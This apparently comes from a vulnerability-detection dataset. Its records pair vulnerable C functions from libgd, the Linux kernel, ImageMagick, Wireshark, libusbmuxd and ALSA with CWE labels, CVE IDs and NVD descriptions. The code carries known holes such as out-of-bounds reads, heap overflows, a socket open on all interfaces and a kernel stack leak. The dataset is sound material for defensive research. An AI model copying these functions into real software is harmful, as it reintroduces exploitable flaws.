conversion_buffer = (unsigned char *) gdMalloc(image_block_size * sizeof(unsigned char));
if (conversion_buffer == NULL) {
gd_error("gd-tga: premature end of image data\n");
gdFree( decompression_buffer );
return -1;
}
if (gdGetBuf(conversion_buffer, image_block_size, ctx) != image_block_size) {
gdFree(conversion_buffer);
gdFree(decompression_buffer);
return -1;
}
buffer_caret = 0;
while( buffer_caret < image_block_size) {
decompression_buffer[buffer_caret] = (int)conversion_buffer[buffer_caret];
buffer_caret++;
}
buffer_caret = 0;
while( bitmap_caret < image_block_size ) {
if ((decompression_buffer[buffer_caret] & TGA_RLE_FLAG) == TGA_RLE_FLAG) {
encoded_pixels = ( ( decompression_buffer[ buffer_caret ] & 127 ) + 1 );
buffer_caret++;
for (i = 0; i < encoded_pixels; i++) {
for (j = 0; j < pixel_block_size; j++, bitmap_caret++) {
tga->bitmap[ bitmap_caret ] = decompression_buffer[ buffer_caret + j ];
}
}
buffer_caret += pixel_block_size;
} else {
encoded_pixels = decompression_buffer[ buffer_caret ] + 1;
buffer_caret++;
for (i = 0; i < encoded_pixels; i++) {
for( j = 0; j < pixel_block_size; j++, bitmap_caret++ ) {
tga->bitmap[ bitmap_caret ] = decompression_buffer[ buffer_caret + j ];
}
buffer_caret += pixel_block_size;
}
}
}
gdFree( decompression_buffer );
gdFree( conversion_buffer );
break;
}
return 1;
}
| 88,682,079,805,925,440,000,000,000,000,000,000,000 | gd_tga.c | 316,236,023,198,357,030,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2016-6905 | The read_image_tga function in gd_tga.c in the GD Graphics Library (aka libgd) before 2.2.3 allows remote attackers to cause a denial of service (out-of-bounds read) via a crafted TGA image. | https://nvd.nist.gov/vuln/detail/CVE-2016-6905 |
4,269 | linux | 54d5ca871e72f2bb172ec9323497f01cd5091ec7 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/54d5ca871e72f2bb172ec9323497f01cd5091ec7 | vfs: add vfs_select_inode() helper
Signed-off-by: Miklos Szeredi <mszeredi@redhat.com>
Cc: <stable@vger.kernel.org> # v4.2+ | 1 | int vfs_open(const struct path *path, struct file *file,
const struct cred *cred)
{
struct dentry *dentry = path->dentry;
struct inode *inode = dentry->d_inode;
file->f_path = *path;
if (dentry->d_flags & DCACHE_OP_SELECT_INODE) {
inode = dentry->d_op->d_select_inode(dentry, file->f_flags);
if (IS_ERR(inode))
return PTR_ERR(inode);
}
return do_dentry_open(file, inode, NULL, cred);
}
| 81,047,983,480,425,140,000,000,000,000,000,000,000 | open.c | 329,475,889,001,649,380,000,000,000,000,000,000,000 | [
"CWE-284"
] | CVE-2016-6198 | The filesystem layer in the Linux kernel before 4.5.5 proceeds with post-rename operations after an OverlayFS file is renamed to a self-hardlink, which allows local users to cause a denial of service (system crash) via a rename system call, related to fs/namei.c and fs/open.c. | https://nvd.nist.gov/vuln/detail/CVE-2016-6198 |
4,281 | ImageMagick | fc43974d34318c834fbf78570ca1a3764ed8c7d7 | https://github.com/ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/commit/fc43974d34318c834fbf78570ca1a3764ed8c7d7 | Ensure image extent does not exceed maximum | 1 | static Image *ReadWPGImage(const ImageInfo *image_info,
ExceptionInfo *exception)
{
typedef struct
{
size_t FileId;
MagickOffsetType DataOffset;
unsigned int ProductType;
unsigned int FileType;
unsigned char MajorVersion;
unsigned char MinorVersion;
unsigned int EncryptKey;
unsigned int Reserved;
} WPGHeader;
typedef struct
{
unsigned char RecType;
size_t RecordLength;
} WPGRecord;
typedef struct
{
unsigned char Class;
unsigned char RecType;
size_t Extension;
size_t RecordLength;
} WPG2Record;
typedef struct
{
unsigned HorizontalUnits;
unsigned VerticalUnits;
unsigned char PosSizePrecision;
} WPG2Start;
typedef struct
{
unsigned int Width;
unsigned int Height;
unsigned int Depth;
unsigned int HorzRes;
unsigned int VertRes;
} WPGBitmapType1;
typedef struct
{
unsigned int Width;
unsigned int Height;
unsigned char Depth;
unsigned char Compression;
} WPG2BitmapType1;
typedef struct
{
unsigned int RotAngle;
unsigned int LowLeftX;
unsigned int LowLeftY;
unsigned int UpRightX;
unsigned int UpRightY;
unsigned int Width;
unsigned int Height;
unsigned int Depth;
unsigned int HorzRes;
unsigned int VertRes;
} WPGBitmapType2;
typedef struct
{
unsigned int StartIndex;
unsigned int NumOfEntries;
} WPGColorMapRec;
/*
typedef struct {
size_t PS_unknown1;
unsigned int PS_unknown2;
unsigned int PS_unknown3;
} WPGPSl1Record;
*/
Image
*image;
unsigned int
status;
WPGHeader
Header;
WPGRecord
Rec;
WPG2Record
Rec2;
WPG2Start StartWPG;
WPGBitmapType1
BitmapHeader1;
WPG2BitmapType1
Bitmap2Header1;
WPGBitmapType2
BitmapHeader2;
WPGColorMapRec
WPG_Palette;
int
i,
bpp,
WPG2Flags;
ssize_t
ldblk;
size_t
one;
unsigned char
*BImgBuff;
tCTM CTM; /*current transform matrix*/
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickCoreSignature);
one=1;
image=AcquireImage(image_info,exception);
image->depth=8;
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
Read WPG image.
*/
Header.FileId=ReadBlobLSBLong(image);
Header.DataOffset=(MagickOffsetType) ReadBlobLSBLong(image);
Header.ProductType=ReadBlobLSBShort(image);
Header.FileType=ReadBlobLSBShort(image);
Header.MajorVersion=ReadBlobByte(image);
Header.MinorVersion=ReadBlobByte(image);
Header.EncryptKey=ReadBlobLSBShort(image);
Header.Reserved=ReadBlobLSBShort(image);
if (Header.FileId!=0x435057FF || (Header.ProductType>>8)!=0x16)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
if (Header.EncryptKey!=0)
ThrowReaderException(CoderError,"EncryptedWPGImageFileNotSupported");
image->columns = 1;
image->rows = 1;
image->colors = 0;
bpp=0;
BitmapHeader2.RotAngle=0;
switch(Header.FileType)
{
case 1: /* WPG level 1 */
while(!EOFBlob(image)) /* object parser loop */
{
(void) SeekBlob(image,Header.DataOffset,SEEK_SET);
if(EOFBlob(image))
break;
Rec.RecType=(i=ReadBlobByte(image));
if(i==EOF)
break;
Rd_WP_DWORD(image,&Rec.RecordLength);
if(EOFBlob(image))
break;
Header.DataOffset=TellBlob(image)+Rec.RecordLength;
switch(Rec.RecType)
{
case 0x0B: /* bitmap type 1 */
BitmapHeader1.Width=ReadBlobLSBShort(image);
BitmapHeader1.Height=ReadBlobLSBShort(image);
if ((BitmapHeader1.Width == 0) || (BitmapHeader1.Height == 0))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
BitmapHeader1.Depth=ReadBlobLSBShort(image);
BitmapHeader1.HorzRes=ReadBlobLSBShort(image);
BitmapHeader1.VertRes=ReadBlobLSBShort(image);
if(BitmapHeader1.HorzRes && BitmapHeader1.VertRes)
{
image->units=PixelsPerCentimeterResolution;
image->resolution.x=BitmapHeader1.HorzRes/470.0;
image->resolution.y=BitmapHeader1.VertRes/470.0;
}
image->columns=BitmapHeader1.Width;
image->rows=BitmapHeader1.Height;
bpp=BitmapHeader1.Depth;
goto UnpackRaster;
case 0x0E: /*Color palette */
WPG_Palette.StartIndex=ReadBlobLSBShort(image);
WPG_Palette.NumOfEntries=ReadBlobLSBShort(image);
image->colors=WPG_Palette.NumOfEntries;
if (!AcquireImageColormap(image,image->colors,exception))
goto NoMemory;
for (i=WPG_Palette.StartIndex;
i < (int)WPG_Palette.NumOfEntries; i++)
{
image->colormap[i].red=ScaleCharToQuantum((unsigned char)
ReadBlobByte(image));
image->colormap[i].green=ScaleCharToQuantum((unsigned char)
ReadBlobByte(image));
image->colormap[i].blue=ScaleCharToQuantum((unsigned char)
ReadBlobByte(image));
}
break;
case 0x11: /* Start PS l1 */
if(Rec.RecordLength > 8)
image=ExtractPostscript(image,image_info,
TellBlob(image)+8, /* skip PS header in the wpg */
(ssize_t) Rec.RecordLength-8,exception);
break;
case 0x14: /* bitmap type 2 */
BitmapHeader2.RotAngle=ReadBlobLSBShort(image);
BitmapHeader2.LowLeftX=ReadBlobLSBShort(image);
BitmapHeader2.LowLeftY=ReadBlobLSBShort(image);
BitmapHeader2.UpRightX=ReadBlobLSBShort(image);
BitmapHeader2.UpRightY=ReadBlobLSBShort(image);
BitmapHeader2.Width=ReadBlobLSBShort(image);
BitmapHeader2.Height=ReadBlobLSBShort(image);
if ((BitmapHeader2.Width == 0) || (BitmapHeader2.Height == 0))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
BitmapHeader2.Depth=ReadBlobLSBShort(image);
BitmapHeader2.HorzRes=ReadBlobLSBShort(image);
BitmapHeader2.VertRes=ReadBlobLSBShort(image);
image->units=PixelsPerCentimeterResolution;
image->page.width=(unsigned int)
((BitmapHeader2.LowLeftX-BitmapHeader2.UpRightX)/470.0);
image->page.height=(unsigned int)
((BitmapHeader2.LowLeftX-BitmapHeader2.UpRightY)/470.0);
image->page.x=(int) (BitmapHeader2.LowLeftX/470.0);
image->page.y=(int) (BitmapHeader2.LowLeftX/470.0);
if(BitmapHeader2.HorzRes && BitmapHeader2.VertRes)
{
image->resolution.x=BitmapHeader2.HorzRes/470.0;
image->resolution.y=BitmapHeader2.VertRes/470.0;
}
image->columns=BitmapHeader2.Width;
image->rows=BitmapHeader2.Height;
bpp=BitmapHeader2.Depth;
UnpackRaster:
if ((image->colors == 0) && (bpp != 24))
{
image->colors=one << bpp;
if (!AcquireImageColormap(image,image->colors,exception))
{
NoMemory:
ThrowReaderException(ResourceLimitError,
"MemoryAllocationFailed");
}
/* printf("Load default colormap \n"); */
for (i=0; (i < (int) image->colors) && (i < 256); i++)
{
image->colormap[i].red=ScaleCharToQuantum(WPG1_Palette[i].Red);
image->colormap[i].green=ScaleCharToQuantum(WPG1_Palette[i].Green);
image->colormap[i].blue=ScaleCharToQuantum(WPG1_Palette[i].Blue);
}
}
else
{
if (bpp < 24)
if ( (image->colors < (one << bpp)) && (bpp != 24) )
image->colormap=(PixelInfo *) ResizeQuantumMemory(
image->colormap,(size_t) (one << bpp),
sizeof(*image->colormap));
}
if (bpp == 1)
{
if(image->colormap[0].red==0 &&
image->colormap[0].green==0 &&
image->colormap[0].blue==0 &&
image->colormap[1].red==0 &&
image->colormap[1].green==0 &&
image->colormap[1].blue==0)
{ /* fix crippled monochrome palette */
image->colormap[1].red =
image->colormap[1].green =
image->colormap[1].blue = QuantumRange;
}
}
if(UnpackWPGRaster(image,bpp,exception) < 0)
/* The raster cannot be unpacked */
{
DecompressionFailed:
ThrowReaderException(CoderError,"UnableToDecompressImage");
}
if(Rec.RecType==0x14 && BitmapHeader2.RotAngle!=0 && !image_info->ping)
{
/* flop command */
if(BitmapHeader2.RotAngle & 0x8000)
{
Image
*flop_image;
flop_image = FlopImage(image, exception);
if (flop_image != (Image *) NULL) {
DuplicateBlob(flop_image,image);
(void) RemoveLastImageFromList(&image);
AppendImageToList(&image,flop_image);
}
}
/* flip command */
if(BitmapHeader2.RotAngle & 0x2000)
{
Image
*flip_image;
flip_image = FlipImage(image, exception);
if (flip_image != (Image *) NULL) {
DuplicateBlob(flip_image,image);
(void) RemoveLastImageFromList(&image);
AppendImageToList(&image,flip_image);
}
}
/* rotate command */
if(BitmapHeader2.RotAngle & 0x0FFF)
{
Image
*rotate_image;
rotate_image=RotateImage(image,(BitmapHeader2.RotAngle &
0x0FFF), exception);
if (rotate_image != (Image *) NULL) {
DuplicateBlob(rotate_image,image);
(void) RemoveLastImageFromList(&image);
AppendImageToList(&image,rotate_image);
}
}
}
/* Allocate next image structure. */
AcquireNextImage(image_info,image,exception);
image->depth=8;
if (image->next == (Image *) NULL)
goto Finish;
image=SyncNextImageInList(image);
image->columns=image->rows=1;
image->colors=0;
break;
case 0x1B: /* Postscript l2 */
if(Rec.RecordLength>0x3C)
image=ExtractPostscript(image,image_info,
TellBlob(image)+0x3C, /* skip PS l2 header in the wpg */
(ssize_t) Rec.RecordLength-0x3C,exception);
break;
}
}
break;
case 2: /* WPG level 2 */
(void) memset(CTM,0,sizeof(CTM));
StartWPG.PosSizePrecision = 0;
while(!EOFBlob(image)) /* object parser loop */
{
(void) SeekBlob(image,Header.DataOffset,SEEK_SET);
if(EOFBlob(image))
break;
Rec2.Class=(i=ReadBlobByte(image));
if(i==EOF)
break;
Rec2.RecType=(i=ReadBlobByte(image));
if(i==EOF)
break;
Rd_WP_DWORD(image,&Rec2.Extension);
Rd_WP_DWORD(image,&Rec2.RecordLength);
if(EOFBlob(image))
break;
Header.DataOffset=TellBlob(image)+Rec2.RecordLength;
switch(Rec2.RecType)
{
case 1:
StartWPG.HorizontalUnits=ReadBlobLSBShort(image);
StartWPG.VerticalUnits=ReadBlobLSBShort(image);
StartWPG.PosSizePrecision=ReadBlobByte(image);
break;
case 0x0C: /* Color palette */
WPG_Palette.StartIndex=ReadBlobLSBShort(image);
WPG_Palette.NumOfEntries=ReadBlobLSBShort(image);
image->colors=WPG_Palette.NumOfEntries;
if (AcquireImageColormap(image,image->colors,exception) == MagickFalse)
ThrowReaderException(ResourceLimitError,
"MemoryAllocationFailed");
for (i=WPG_Palette.StartIndex;
i < (int)WPG_Palette.NumOfEntries; i++)
{
image->colormap[i].red=ScaleCharToQuantum((char)
ReadBlobByte(image));
image->colormap[i].green=ScaleCharToQuantum((char)
ReadBlobByte(image));
image->colormap[i].blue=ScaleCharToQuantum((char)
ReadBlobByte(image));
(void) ReadBlobByte(image); /*Opacity??*/
}
break;
case 0x0E:
Bitmap2Header1.Width=ReadBlobLSBShort(image);
Bitmap2Header1.Height=ReadBlobLSBShort(image);
if ((Bitmap2Header1.Width == 0) || (Bitmap2Header1.Height == 0))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
Bitmap2Header1.Depth=ReadBlobByte(image);
Bitmap2Header1.Compression=ReadBlobByte(image);
if(Bitmap2Header1.Compression > 1)
continue; /*Unknown compression method */
switch(Bitmap2Header1.Depth)
{
case 1:
bpp=1;
break;
case 2:
bpp=2;
break;
case 3:
bpp=4;
break;
case 4:
bpp=8;
break;
case 8:
bpp=24;
break;
default:
continue; /*Ignore raster with unknown depth*/
}
image->columns=Bitmap2Header1.Width;
image->rows=Bitmap2Header1.Height;
if ((image->colors == 0) && (bpp != 24))
{
size_t
one;
one=1;
image->colors=one << bpp;
if (!AcquireImageColormap(image,image->colors,exception))
goto NoMemory;
}
else
{
if(bpp < 24)
if( image->colors<(one << bpp) && bpp!=24 )
image->colormap=(PixelInfo *) ResizeQuantumMemory(
image->colormap,(size_t) (one << bpp),
sizeof(*image->colormap));
}
switch(Bitmap2Header1.Compression)
{
case 0: /*Uncompressed raster*/
{
ldblk=(ssize_t) ((bpp*image->columns+7)/8);
BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t)
ldblk+1,sizeof(*BImgBuff));
if (BImgBuff == (unsigned char *) NULL)
goto NoMemory;
for(i=0; i< (ssize_t) image->rows; i++)
{
(void) ReadBlob(image,ldblk,BImgBuff);
InsertRow(image,BImgBuff,i,bpp,exception);
}
if(BImgBuff)
BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff);
break;
}
case 1: /*RLE for WPG2 */
{
if( UnpackWPG2Raster(image,bpp,exception) < 0)
goto DecompressionFailed;
break;
}
}
if(CTM[0][0]<0 && !image_info->ping)
{ /*?? RotAngle=360-RotAngle;*/
Image
*flop_image;
flop_image = FlopImage(image, exception);
if (flop_image != (Image *) NULL) {
DuplicateBlob(flop_image,image);
(void) RemoveLastImageFromList(&image);
AppendImageToList(&image,flop_image);
}
/* Try to change CTM according to Flip - I am not sure, must be checked.
Tx(0,0)=-1; Tx(1,0)=0; Tx(2,0)=0;
Tx(0,1)= 0; Tx(1,1)=1; Tx(2,1)=0;
Tx(0,2)=(WPG._2Rect.X_ur+WPG._2Rect.X_ll);
Tx(1,2)=0; Tx(2,2)=1; */
}
if(CTM[1][1]<0 && !image_info->ping)
{ /*?? RotAngle=360-RotAngle;*/
Image
*flip_image;
flip_image = FlipImage(image, exception);
if (flip_image != (Image *) NULL) {
DuplicateBlob(flip_image,image);
(void) RemoveLastImageFromList(&image);
AppendImageToList(&image,flip_image);
}
/* Try to change CTM according to Flip - I am not sure, must be checked.
float_matrix Tx(3,3);
Tx(0,0)= 1; Tx(1,0)= 0; Tx(2,0)=0;
Tx(0,1)= 0; Tx(1,1)=-1; Tx(2,1)=0;
Tx(0,2)= 0; Tx(1,2)=(WPG._2Rect.Y_ur+WPG._2Rect.Y_ll);
Tx(2,2)=1; */
}
/* Allocate next image structure. */
AcquireNextImage(image_info,image,exception);
image->depth=8;
if (image->next == (Image *) NULL)
goto Finish;
image=SyncNextImageInList(image);
image->columns=image->rows=1;
image->colors=0;
break;
case 0x12: /* Postscript WPG2*/
i=ReadBlobLSBShort(image);
if(Rec2.RecordLength > (unsigned int) i)
image=ExtractPostscript(image,image_info,
TellBlob(image)+i, /*skip PS header in the wpg2*/
(ssize_t) (Rec2.RecordLength-i-2),exception);
break;
case 0x1B: /*bitmap rectangle*/
WPG2Flags = LoadWPG2Flags(image,StartWPG.PosSizePrecision,NULL,&CTM);
(void) WPG2Flags;
break;
}
}
break;
default:
{
ThrowReaderException(CoderError,"DataEncodingSchemeIsNotSupported");
}
}
status=SetImageExtent(image,image->columns,image->rows,exception);
if (status == MagickFalse)
return(DestroyImageList(image));
Finish:
(void) CloseBlob(image);
{
Image
*p;
ssize_t
scene=0;
/*
Rewind list, removing any empty images while rewinding.
*/
p=image;
image=NULL;
while (p != (Image *) NULL)
{
Image *tmp=p;
if ((p->rows == 0) || (p->columns == 0)) {
p=p->previous;
DeleteImageFromList(&tmp);
} else {
image=p;
p=p->previous;
}
}
/*
Fix scene numbers.
*/
for (p=image; p != (Image *) NULL; p=p->next)
p->scene=(size_t) scene++;
}
if (image == (Image *) NULL)
ThrowReaderException(CorruptImageError,
"ImageFileDoesNotContainAnyImageData");
return(image);
}
| 180,171,464,052,447,030,000,000,000,000,000,000,000 | wpg.c | 99,965,343,271,644,740,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2016-5688 | The WPG parser in ImageMagick before 6.9.4-4 and 7.x before 7.0.1-5, when a memory limit is set, allows remote attackers to have unspecified impact via vectors related to the SetImageExtent return-value check, which trigger (1) a heap-based buffer overflow in the SetPixelIndex function or an invalid write operation in the (2) ScaleCharToQuantum or (3) SetPixelIndex functions. | https://nvd.nist.gov/vuln/detail/CVE-2016-5688 |
4,287 | wireshark | 5efb45231671baa2db2011d8f67f9d6e72bc455b | https://github.com/wireshark/wireshark | https://github.com/wireshark/wireshark/commit/5efb45231671baa2db2011d8f67f9d6e72bc455b | Fix packet length handling.
Treat the packet length as unsigned - it shouldn't be negative in the
file. If it is, that'll probably cause the sscanf to fail, so we'll
report the file as bad.
Check it against WTAP_MAX_PACKET_SIZE to make sure we don't try to
allocate a huge amount of memory, just as we do in other file readers.
Use the now-validated packet size as the length in
ws_buffer_assure_space(), so we are certain to have enough space, and
don't allocate too much space.
Bug: 12394
Change-Id: Ifa023ce70f7a2697bf151009b035a6e6cf8d5d90
Reviewed-on: https://code.wireshark.org/review/15169
Reviewed-by: Guy Harris <guy@alum.mit.edu> | 1 | parse_toshiba_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,
int *err, gchar **err_info)
{
union wtap_pseudo_header *pseudo_header = &phdr->pseudo_header;
char line[TOSHIBA_LINE_LENGTH];
int num_items_scanned;
int pkt_len, pktnum, hr, min, sec, csec;
char channel[10], direction[10];
int i, hex_lines;
guint8 *pd;
/* Our file pointer should be on the line containing the
* summary information for a packet. Read in that line and
* extract the useful information
*/
if (file_gets(line, TOSHIBA_LINE_LENGTH, fh) == NULL) {
*err = file_error(fh, err_info);
if (*err == 0) {
*err = WTAP_ERR_SHORT_READ;
}
return FALSE;
}
/* Find text in line after "[No.". Limit the length of the
* two strings since we have fixed buffers for channel[] and
* direction[] */
num_items_scanned = sscanf(line, "%9d] %2d:%2d:%2d.%9d %9s %9s",
&pktnum, &hr, &min, &sec, &csec, channel, direction);
if (num_items_scanned != 7) {
*err = WTAP_ERR_BAD_FILE;
*err_info = g_strdup("toshiba: record header isn't valid");
return FALSE;
}
/* Scan lines until we find the OFFSET line. In a "telnet" trace,
* this will be the next line. But if you save your telnet session
* to a file from within a Windows-based telnet client, it may
* put in line breaks at 80 columns (or however big your "telnet" box
* is). CRT (a Windows telnet app from VanDyke) does this.
* Here we assume that 80 columns will be the minimum size, and that
* the OFFSET line is not broken in the middle. It's the previous
* line that is normally long and can thus be broken at column 80.
*/
do {
if (file_gets(line, TOSHIBA_LINE_LENGTH, fh) == NULL) {
*err = file_error(fh, err_info);
if (*err == 0) {
*err = WTAP_ERR_SHORT_READ;
}
return FALSE;
}
/* Check for "OFFSET 0001-0203" at beginning of line */
line[16] = '\0';
} while (strcmp(line, "OFFSET 0001-0203") != 0);
num_items_scanned = sscanf(line+64, "LEN=%9d", &pkt_len);
if (num_items_scanned != 1) {
*err = WTAP_ERR_BAD_FILE;
*err_info = g_strdup("toshiba: OFFSET line doesn't have valid LEN item");
return FALSE;
}
phdr->rec_type = REC_TYPE_PACKET;
phdr->presence_flags = WTAP_HAS_TS|WTAP_HAS_CAP_LEN;
phdr->ts.secs = hr * 3600 + min * 60 + sec;
phdr->ts.nsecs = csec * 10000000;
phdr->caplen = pkt_len;
phdr->len = pkt_len;
switch (channel[0]) {
case 'B':
phdr->pkt_encap = WTAP_ENCAP_ISDN;
pseudo_header->isdn.uton = (direction[0] == 'T');
pseudo_header->isdn.channel = (guint8)
strtol(&channel[1], NULL, 10);
break;
case 'D':
phdr->pkt_encap = WTAP_ENCAP_ISDN;
pseudo_header->isdn.uton = (direction[0] == 'T');
pseudo_header->isdn.channel = 0;
break;
default:
phdr->pkt_encap = WTAP_ENCAP_ETHERNET;
/* XXX - is there an FCS in the frame? */
pseudo_header->eth.fcs_len = -1;
break;
}
/* Make sure we have enough room for the packet */
ws_buffer_assure_space(buf, TOSHIBA_MAX_PACKET_LEN);
pd = ws_buffer_start_ptr(buf);
/* Calculate the number of hex dump lines, each
* containing 16 bytes of data */
hex_lines = pkt_len / 16 + ((pkt_len % 16) ? 1 : 0);
for (i = 0; i < hex_lines; i++) {
if (file_gets(line, TOSHIBA_LINE_LENGTH, fh) == NULL) {
*err = file_error(fh, err_info);
if (*err == 0) {
*err = WTAP_ERR_SHORT_READ;
}
return FALSE;
}
if (!parse_single_hex_dump_line(line, pd, i * 16)) {
*err = WTAP_ERR_BAD_FILE;
*err_info = g_strdup("toshiba: hex dump not valid");
return FALSE;
}
}
return TRUE;
}
| 309,314,898,049,093,650,000,000,000,000,000,000,000 | toshiba.c | 201,719,230,202,864,100,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2016-5355 | wiretap/toshiba.c in the Toshiba file parser in Wireshark 1.12.x before 1.12.12 and 2.x before 2.0.4 mishandles sscanf unsigned-integer processing, which allows remote attackers to cause a denial of service (application crash) via a crafted file. | https://nvd.nist.gov/vuln/detail/CVE-2016-5355 |
4,288 | libimobiledevice | 4397b3376dc4e4cb1c991d0aed61ce6482614196 | https://github.com/libimobiledevice/libimobiledevice | https://github.com/libimobiledevice/libusbmuxd/commit/4397b3376dc4e4cb1c991d0aed61ce6482614196 | None | 1 | int socket_create(uint16_t port)
{
int sfd = -1;
int yes = 1;
#ifdef WIN32
WSADATA wsa_data;
if (!wsa_init) {
if (WSAStartup(MAKEWORD(2,2), &wsa_data) != ERROR_SUCCESS) {
fprintf(stderr, "WSAStartup failed!\n");
ExitProcess(-1);
}
wsa_init = 1;
}
#endif
struct sockaddr_in saddr;
if (0 > (sfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP))) {
perror("socket()");
return -1;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, (void*)&yes, sizeof(int)) == -1) {
perror("setsockopt()");
socket_close(sfd);
return -1;
}
#ifdef SO_NOSIGPIPE
if (setsockopt(sfd, SOL_SOCKET, SO_NOSIGPIPE, (void*)&yes, sizeof(int)) == -1) {
perror("setsockopt()");
socket_close(sfd);
return -1;
}
#endif
memset((void *) &saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
saddr.sin_port = htons(port);
if (0 > bind(sfd, (struct sockaddr *) &saddr, sizeof(saddr))) {
perror("bind()");
socket_close(sfd);
return -1;
}
if (listen(sfd, 1) == -1) {
perror("listen()");
socket_close(sfd);
return -1;
}
return sfd;
}
| 294,733,776,418,858,640,000,000,000,000,000,000,000 | None | null | [
"CWE-284"
] | CVE-2016-5104 | The socket_create function in common/socket.c in libimobiledevice and libusbmuxd allows remote attackers to bypass intended access restrictions and communicate with services on iOS devices by connecting to an IPv4 TCP socket. | https://nvd.nist.gov/vuln/detail/CVE-2016-5104 |
4,289 | linux | 9a47e9cff994f37f7f0dbd9ae23740d0f64f9fe6 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/9a47e9cff994f37f7f0dbd9ae23740d0f64f9fe6 | ALSA: timer: Fix leak in events via snd_timer_user_ccallback
The stack object “r1” has a total size of 32 bytes. Its field
“event” and “val” both contain 4 bytes padding. These 8 bytes
padding bytes are sent to user without being initialized.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: Takashi Iwai <tiwai@suse.de> | 1 | static void snd_timer_user_ccallback(struct snd_timer_instance *timeri,
int event,
struct timespec *tstamp,
unsigned long resolution)
{
struct snd_timer_user *tu = timeri->callback_data;
struct snd_timer_tread r1;
unsigned long flags;
if (event >= SNDRV_TIMER_EVENT_START &&
event <= SNDRV_TIMER_EVENT_PAUSE)
tu->tstamp = *tstamp;
if ((tu->filter & (1 << event)) == 0 || !tu->tread)
return;
r1.event = event;
r1.tstamp = *tstamp;
r1.val = resolution;
spin_lock_irqsave(&tu->qlock, flags);
snd_timer_user_append_to_tqueue(tu, &r1);
spin_unlock_irqrestore(&tu->qlock, flags);
kill_fasync(&tu->fasync, SIGIO, POLL_IN);
wake_up(&tu->qchange_sleep);
}
| 53,749,721,225,904,320,000,000,000,000,000,000,000 | timer.c | 102,836,771,800,390,000,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2016-4578 | sound/core/timer.c in the Linux kernel through 4.6 does not initialize certain r1 data structures, which allows local users to obtain sensitive information from kernel stack memory via crafted use of the ALSA timer interface, related to the (1) snd_timer_user_ccallback and (2) snd_timer_user_tinterrupt functions. | https://nvd.nist.gov/vuln/detail/CVE-2016-4578 |
4,290 | linux | 1666984c8625b3db19a9abc298931d35ab7bc64b | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/1666984c8625b3db19a9abc298931d35ab7bc64b | usbnet: cleanup after bind() in probe()
In case bind() works, but a later error forces bailing
in probe() in error cases work and a timer may be scheduled.
They must be killed. This fixes an error case related to
the double free reported in
http://www.spinics.net/lists/netdev/msg367669.html
and needs to go on top of Linus' fix to cdc-ncm.
Signed-off-by: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | usbnet_probe (struct usb_interface *udev, const struct usb_device_id *prod)
{
struct usbnet *dev;
struct net_device *net;
struct usb_host_interface *interface;
struct driver_info *info;
struct usb_device *xdev;
int status;
const char *name;
struct usb_driver *driver = to_usb_driver(udev->dev.driver);
/* usbnet already took usb runtime pm, so have to enable the feature
* for usb interface, otherwise usb_autopm_get_interface may return
* failure if RUNTIME_PM is enabled.
*/
if (!driver->supports_autosuspend) {
driver->supports_autosuspend = 1;
pm_runtime_enable(&udev->dev);
}
name = udev->dev.driver->name;
info = (struct driver_info *) prod->driver_info;
if (!info) {
dev_dbg (&udev->dev, "blacklisted by %s\n", name);
return -ENODEV;
}
xdev = interface_to_usbdev (udev);
interface = udev->cur_altsetting;
status = -ENOMEM;
net = alloc_etherdev(sizeof(*dev));
if (!net)
goto out;
/* netdev_printk() needs this so do it as early as possible */
SET_NETDEV_DEV(net, &udev->dev);
dev = netdev_priv(net);
dev->udev = xdev;
dev->intf = udev;
dev->driver_info = info;
dev->driver_name = name;
dev->msg_enable = netif_msg_init (msg_level, NETIF_MSG_DRV
| NETIF_MSG_PROBE | NETIF_MSG_LINK);
init_waitqueue_head(&dev->wait);
skb_queue_head_init (&dev->rxq);
skb_queue_head_init (&dev->txq);
skb_queue_head_init (&dev->done);
skb_queue_head_init(&dev->rxq_pause);
dev->bh.func = usbnet_bh;
dev->bh.data = (unsigned long) dev;
INIT_WORK (&dev->kevent, usbnet_deferred_kevent);
init_usb_anchor(&dev->deferred);
dev->delay.function = usbnet_bh;
dev->delay.data = (unsigned long) dev;
init_timer (&dev->delay);
mutex_init (&dev->phy_mutex);
mutex_init(&dev->interrupt_mutex);
dev->interrupt_count = 0;
dev->net = net;
strcpy (net->name, "usb%d");
memcpy (net->dev_addr, node_id, sizeof node_id);
/* rx and tx sides can use different message sizes;
* bind() should set rx_urb_size in that case.
*/
dev->hard_mtu = net->mtu + net->hard_header_len;
net->netdev_ops = &usbnet_netdev_ops;
net->watchdog_timeo = TX_TIMEOUT_JIFFIES;
net->ethtool_ops = &usbnet_ethtool_ops;
if (info->bind) {
status = info->bind (dev, udev);
if (status < 0)
goto out1;
if ((dev->driver_info->flags & FLAG_ETHER) != 0 &&
((dev->driver_info->flags & FLAG_POINTTOPOINT) == 0 ||
(net->dev_addr [0] & 0x02) == 0))
strcpy (net->name, "eth%d");
/* WLAN devices should always be named "wlan%d" */
if ((dev->driver_info->flags & FLAG_WLAN) != 0)
